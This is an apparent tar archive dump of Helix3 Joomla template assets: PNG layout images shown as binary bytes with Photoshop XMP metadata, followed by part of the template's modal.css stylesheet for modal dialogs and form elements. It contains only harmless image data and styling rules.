 J߁xtJd=ș #'GQ/G6#Kn@6\llg瑟w$inFlȇ#Ȼq8 W~l,8U j3 +̀s 
i[ P_e `@ 0  `@ 0         `@ 0   0        `@  `@ 0      q@y3 Py3 O̀ v G0ɻq8 /"_G>aG#}y9?u7Np+r!MIdos" ~>_ 8Z)    IENDB`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            system/helix3/assets/images/layout/282.png                                                          0000705                 00000001676 15242051520 0014375 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR      	   K   tEXtSoftware Adobe ImageReadyqe<  (iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:A5F63B01AD6611E4B1CE850DA39C213E" xmpMM:InstanceID="xmp.iid:A5F63B00AD6611E4B1CE850DA39C213E" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1C566C081FA911E4A9CCF17B15AF5A8C" stRef:documentID="xmp.did:1C566C091FA911E4A9CCF17B15AF5A8C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>x2{   ,IDATxbňX2i.u p9@ *a&JS    IENDB`                                                                  system/helix3/assets/images/layout/48.png                                                           0000705                 00000001672 15242051520 0014311 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR      	   K   tEXtSoftware Adobe ImageReadyqe<  (iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:E0624EAC1FA811E4A9CCF17B15AF5A8C" xmpMM:DocumentID="xmp.did:F4BAE4361FA811E4A9CCF17B15AF5A8C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E0624EAA1FA811E4A9CCF17B15AF5A8C" stRef:documentID="xmp.did:E0624EAB1FA811E4A9CCF17B15AF5A8C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>BD   (IDATxb#X0lG]>Ar  b"AcL    IENDB`                                                                      system/helix3/assets/images/layout/237.png                                                          0000705                 00000001676 15242051520 0014375 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR      	   K   tEXtSoftware Adobe ImageReadyqe<  (iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:04DE7D80AD0C11E4B1CE850DA39C213E" xmpMM:InstanceID="xmp.iid:04DE7D7FAD0C11E4B1CE850DA39C213E" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1C566C081FA911E4A9CCF17B15AF5A8C" stRef:documentID="xmp.did:1C566C091FA911E4A9CCF17B15AF5A8C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>   ,IDATxbHbl0(G]>Ar  &0    IENDB`                                                                  system/helix3/assets/images/layout/57.png                                                           0000705                 00000001672 15242051520 0014311 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR      	   K   tEXtSoftware Adobe ImageReadyqe<  (iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:E0624EA41FA811E4A9CCF17B15AF5A8C" xmpMM:DocumentID="xmp.did:E0624EA51FA811E4A9CCF17B15AF5A8C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E0624EA21FA811E4A9CCF17B15AF5A8C" stRef:documentID="xmp.did:E0624EA31FA811E4A9CCF17B15AF5A8C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>%'>   (IDATxb#@52iɆ|  :"^D    IENDB`                                                                      system/helix3/assets/images/layout/255.png                                                          0000705                 00000001676 15242051520 0014375 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR      	   K   tEXtSoftware Adobe ImageReadyqe<  (iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:A5F63AFDAD6611E4B1CE850DA39C213E" xmpMM:InstanceID="xmp.iid:A5F63AFCAD6611E4B1CE850DA39C213E" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1C566C081FA911E4A9CCF17B15AF5A8C" stRef:documentID="xmp.did:1C566C091FA911E4A9CCF17B15AF5A8C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>Rǈ   ,IDATxbPUM34|..0 &Qqq    IENDB`                                                                  system/helix3/assets/images/layout/222222.png                                                       0000705                 00000001667 15242051520 0014615 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR      	   K   tEXtSoftware Adobe ImageReadyqe<  (iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:601C3ABEAD6711E4B1CE850DA39C213E" xmpMM:InstanceID="xmp.iid:601C3ABDAD6711E4B1CE850DA39C213E" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1C566C081FA911E4A9CCF17B15AF5A8C" stRef:documentID="xmp.did:1C566C091FA911E4A9CCF17B15AF5A8C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>6*   %IDATxbT3M]BM| Ԥ-"    IENDB`                                                                         system/helix3/assets/images/layout/3333.png                                                         0000705                 00000001667 15242051520 0014455 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR      	   K   tEXtSoftware Adobe ImageReadyqe<  (iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:F4BAE4391FA811E4A9CCF17B15AF5A8C" xmpMM:DocumentID="xmp.did:F4BAE43A1FA811E4A9CCF17B15AF5A8C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F4BAE4371FA811E4A9CCF17B15AF5A8C" stRef:documentID="xmp.did:F4BAE4381FA811E4A9CCF17B15AF5A8C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>   %IDATxb)gn6u 5\8QS.` #D    IENDB`                                                                         system/helix3/assets/images/layout/12.png                                                           0000705                 00000001661 15242051520 0014276 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR      	   K   tEXtSoftware Adobe ImageReadyqe<  (iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:1C566C081FA911E4A9CCF17B15AF5A8C" xmpMM:DocumentID="xmp.did:1C566C091FA911E4A9CCF17B15AF5A8C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1C566C061FA911E4A9CCF17B15AF5A8C" stRef:documentID="xmp.did:1C566C071FA911E4A9CCF17B15AF5A8C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>|]s   IDATxb4,@HKG]>Ar  RD     IENDB`                                                                               system/helix3/assets/images/layout/2442.png                                                         0000705                 00000001673 15242051520 0014452 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR      	   K   tEXtSoftware Adobe ImageReadyqe<  (iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:A5F63B05AD6611E4B1CE850DA39C213E" xmpMM:InstanceID="xmp.iid:A5F63B04AD6611E4B1CE850DA39C213E" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1C566C081FA911E4A9CCF17B15AF5A8C" stRef:documentID="xmp.did:1C566C091FA911E4A9CCF17B15AF5A8C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>{i   )IDATxb|t@<#,h.u  #ӧ#    IENDB`                                                                     system/helix3/assets/images/layout/363.png                                                          0000705                 00000001676 15242051520 0014375 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR      	   K   tEXtSoftware Adobe ImageReadyqe<  (iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:9B53E27F1FA811E4A9CCF17B15AF5A8C" xmpMM:DocumentID="xmp.did:9B53E2801FA811E4A9CCF17B15AF5A8C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9B53E27D1FA811E4A9CCF17B15AF5A8C" stRef:documentID="xmp.did:9B53E27E1FA811E4A9CCF17B15AF5A8C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>H   ,IDATxbXճ@%pi` G]>Ar  *a&Ef    IENDB`                                                                  system/helix3/assets/images/layout/264.png                                                          0000705                 00000001675 15242051520 0014374 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR      	   K   tEXtSoftware Adobe ImageReadyqe<  (iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:9B53E27B1FA811E4A9CCF17B15AF5A8C" xmpMM:DocumentID="xmp.did:9B53E27C1FA811E4A9CCF17B15AF5A8C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9B53E2791FA811E4A9CCF17B15AF5A8C" stRef:documentID="xmp.did:9B53E27A1FA811E4A9CCF17B15AF5A8C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>   +IDATxb|B zt$ZQ|  z&4E    IENDB`                                                                   system/helix3/assets/images/layout/444.png                                                          0000705                 00000001673 15242051520 0014372 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR      	   K   tEXtSoftware Adobe ImageReadyqe<  (iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:F4BAE43D1FA811E4A9CCF17B15AF5A8C" xmpMM:DocumentID="xmp.did:F4BAE43E1FA811E4A9CCF17B15AF5A8C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F4BAE43B1FA811E4A9CCF17B15AF5A8C" stRef:documentID="xmp.did:F4BAE43C1FA811E4A9CCF17B15AF5A8C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>4   )IDATxb#-U@ Y(q٨G]N= *a&tJ/    IENDB`                                                                     system/helix3/assets/images/layout/66.png                                                           0000705                 00000001670 15242051520 0014307 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR      	   K   tEXtSoftware Adobe ImageReadyqe<  (iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:1C566C041FA911E4A9CCF17B15AF5A8C" xmpMM:DocumentID="xmp.did:1C566C051FA911E4A9CCF17B15AF5A8C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F4BAE43F1FA811E4A9CCF17B15AF5A8C" stRef:documentID="xmp.did:F4BAE4401FA811E4A9CCF17B15AF5A8C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>H5   &IDATxbF &Z=TmG]>\` a"c    IENDB`                                                                        system/helix3/assets/images/layout/210.png                                                          0000705                 00000001671 15242051520 0014357 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR      	   K   tEXtSoftware Adobe ImageReadyqe<  (iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:9B53E2771FA811E4A9CCF17B15AF5A8C" xmpMM:DocumentID="xmp.did:9B53E2781FA811E4A9CCF17B15AF5A8C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8B3B48441FA711E4A9CCF17B15AF5A8C" stRef:documentID="xmp.did:9B53E2761FA811E4A9CCF17B15AF5A8C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>Hkks   'IDATxb| @4fG]>\` "|$    IENDB`                                                                       system/helix3/assets/images/layout/custom.png                                                       0000705                 00000002223 15242051520 0015361 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR      	   K   tEXtSoftware Adobe ImageReadyqe<  iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:1C566C091FA911E4A9CCF17B15AF5A8C" xmpMM:DocumentID="xmp.did:44DE533D0FF411E5A433B05D68476CDB" xmpMM:InstanceID="xmp.iid:44DE533C0FF411E5A433B05D68476CDB" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:f4ab5f41-db1f-4884-a06d-5a926b903ee3" stRef:documentID="adobe:docid:photoshop:38f93263-f553-1177-b8d0-b56cf9d19f62"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>ja   IDATxb /X1a, ľ81af#Xpa 7Ci 6@? 6|"rN b1 bV%@p]j @lx??v7k !|@OjAe:0 rx6    IENDB`                                                                                                                                                                                                                                                                                                                                                                             system/helix3/assets/images/layout/39.png                                                           0000705                 00000001672 15242051520 0014311 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR      	   K   tEXtSoftware Adobe ImageReadyqe<  (iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:E0624EA81FA811E4A9CCF17B15AF5A8C" xmpMM:DocumentID="xmp.did:E0624EA91FA811E4A9CCF17B15AF5A8C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E0624EA61FA811E4A9CCF17B15AF5A8C" stRef:documentID="xmp.did:E0624EA71FA811E4A9CCF17B15AF5A8C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>I|   (IDATxbX1ఀbG]>Ar  ".eR    IENDB`                                                                      system/helix3/assets/images/helix-logo.png                                                          0000705                 00000005312 15242051520 0014603 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR      (   y,   tEXtSoftware Adobe ImageReadyqe<  (iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:549AA464A39211E49D3E95DDE8F1E26F" xmpMM:DocumentID="xmp.did:13E2B5FAA39311E49D3E95DDE8F1E26F"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:549AA462A39211E49D3E95DDE8F1E26F" stRef:documentID="xmp.did:549AA463A39211E49D3E95DDE8F1E26F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>O}  8IDATx]}lE߫?*ED _ DENM4T`&QBkD&m5R[5J5)F0p hNҚ 8Vݽ>y/;ofvo̼ٽE"#y%v@Y9ж톖!I
!D]f>`.Hخimnnv  3lIj`FY߸hDN>vj*yfч\d8]]J `6L&S tܬSB7Y9)1ת/I%FK3mlM7KL(<E?Vϗ5D;^bԮE.Q{{4?Q@%9oF>6wo6IQ|`g/XUV+7gw+xؒf/Hc6<Ѧ>M{RB@1ubu6vK+9C#lw:刦]L/(IMGe6=M@o6/s)!M~.W$PvʮHߙF/HB+S9{lv0&u!5lFޘ&BsE-e"Ki)ݼ?x?CMhdˉ7 3|U(vyV
{q"՜LUI4=^Xl;:29ϟ@E)nR"%-L"ާLs7;0e su YY)9SJ}i#+eȿK_NԀ"rs{4iQne*2GOg+@]A+<uhPm16vLǞ$4%trCYzn9p/^ΐy9ϛPxm@AifzkO
>{{)=yqm(7%|vxDn됗ׯ(miCڄnJ,Cȿ'Vp
ّ1irR6樹JL`5Bay@#\K	^g<tx@;s^鯋v)exOFU -^rZ+BPv?P|
 威V	1yracmFtZ8>`W|ĆxJZF!o [&v: b|ԭvE?I>}әvgvXI;*#.I|~D	f(sL)!_B=}u'GNˢb$Ꮼ]<6NT=7c^#OcPK@4c\~{dNP'y;;(v:-ijbq#Te*1-j,tM@Xrހ9Dz\vAYjP:S{w|$`I7o1%	
Eln~|I$&cnAJ5D}ʇɋҔQgf*9gp3%r䠿.&suj;wppjyC_T:Us6ntFk
:lzʚ̤0-ޫ,&>J3ߢbz*שRʄ}Xi:b[bR=24tM6c݀E=Aiªۣlw~y<^*Tw9!k1zu30D=`a,,e}>{BJHѕ	$F8΂:bTԒJjW\0sӠ	' ^͝    IENDB`                                                                                                                                                                                                                                                                                                                      system/helix3/assets/css/modal.css                                                                  0000705                 00000032734 15242051520 0013167 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/
.sp-modal-open {
  overflow: hidden;
}
.sp-modal {
  position: fixed;
  top: 0;
  right: 0;
  bottom: 0;
  left: 0;
  z-index: 1050;
  display: none;
  overflow: auto;
  overflow-y: scroll;
  -webkit-overflow-scrolling: touch;
  outline: 0;
}
.sp-modal.fade .sp-modal-dialog {
  -webkit-transition: -webkit-transform .3s ease-out;
     -moz-transition:    -moz-transform .3s ease-out;
       -o-transition:      -o-transform .3s ease-out;
          transition:         transform .3s ease-out;
  -webkit-transform: translate(0, -25%);
      -ms-transform: translate(0, -25%);
          transform: translate(0, -25%);
}
.sp-modal.in .sp-modal-dialog {
  -webkit-transform: translate(0, 0);
      -ms-transform: translate(0, 0);
          transform: translate(0, 0);
}
.sp-modal-dialog {
  position: relative;
  width: auto;
  margin: 10px;
}
.sp-modal-content {
  position: relative;
  background-color: #fff;
  background-clip: padding-box;
  border: 1px solid #999;
  border: 1px solid rgba(0, 0, 0, .2);
  border-radius: 6px;
  outline: none;
  -webkit-box-shadow: 0 3px 9px rgba(0, 0, 0, .5);
          box-shadow: 0 3px 9px rgba(0, 0, 0, .5);
}
.sp-modal-backdrop {
  position: fixed;
  top: 0;
  right: 0;
  bottom: 0;
  left: 0;
  z-index: 1040;
  background-color: rgba(0,0,0,.6);
}
.sp-modal-backdrop.fade {
  filter: alpha(opacity=0);
  opacity: 0;
}
.sp-modal-backdrop.fade.in {
  filter: alpha(opacity=50);
  opacity: .5;
}
.sp-modal-header {
  min-height: 16.42857143px;
  padding: 15px;
  border-bottom: 1px solid #e5e5e5;
}
.sp-modal-header .close {
  margin-top: -2px;
}
.sp-modal-title {
  margin: 0;
  line-height: 1.42857143;
}
.sp-modal-body {
  position: relative;
  padding: 20px;
}
.sp-modal-footer {
  padding: 19px 20px 20px;
  margin-top: 15px;
  text-align: right;
  border-top: 1px solid #e5e5e5;
}
.sp-modal-footer .sppb-btn + .sppb-btn {
  margin-bottom: 0;
  margin-left: 5px;
}
.sp-modal-footer .btn-group .btn + .btn {
  margin-left: -1px;
}
.sp-modal-footer .btn-block + .btn-block {
  margin-left: 0;
}
@media (min-width: 768px) {
  .sp-modal-dialog {
    width: 600px;
    margin: 30px auto;
  }
  .sp-modal-content {
    -webkit-box-shadow: 0 5px 15px rgba(0, 0, 0, .5);
            box-shadow: 0 5px 15px rgba(0, 0, 0, .5);
  }
  .sp-modal-sm {
    width: 300px;
  }
}
@media (min-width: 992px) {
  .sp-modal-lg {
    width: 900px;
  }

  .sp-modal-xlg {
    width: 1270px;
  }
}

.sp-modal-footer:before,
.sp-modal-footer:after {
  display: table;
  content: " ";
}

/* Form */
.form-group {
  margin-bottom: 20px;
  padding-bottom: 20px;
  margin-left: -20px;
  margin-right: -20px;
  padding-left: 20px;
  padding-right: 20px;
  border-bottom: 1px solid #e5e5e5;
}

*>.form-group:last-child {
  padding-bottom: 0;
  margin-bottom: 0;
  border-bottom: 0;
}

.form-group label{
  display: block;
  margin-bottom: 10px;
  font-weight: 800;
  color: #000;
}

.form-group .form-control {
  display: block;
  width: 100%;
  box-sizing: border-box;
  -webkit-box-sizing: border-box;
  -moz-box-sizing: border-box;
  -o-box-sizing: border-box;
  -ms-box-sizing: border-box;
}

.form-group input.form-control{
  min-height: 30px;
}

.form-group .help-block {
  display: block;
  margin-top: 10px;
  color: #999;
}

.sp-modal .radio,
.sp-modal .checkbox {
  display: block;
  min-height: 20px;
  padding-left: 20px;
  margin-top: 10px;
  margin-bottom: 10px;
}
.sp-modal .radio label,
.sp-modal .checkbox label {
  display: inline;
  font-weight: normal;
  cursor: pointer;
}
.sp-modal .radio input[type="radio"],
.sp-modal .radio-inline input[type="radio"],
.sp-modal .checkbox input[type="checkbox"],
.sp-modal .checkbox-inline input[type="checkbox"] {
  float: left;
  margin-left: -20px;
}
.sp-modal .radio + .radio,
.sp-modal .checkbox + .checkbox {
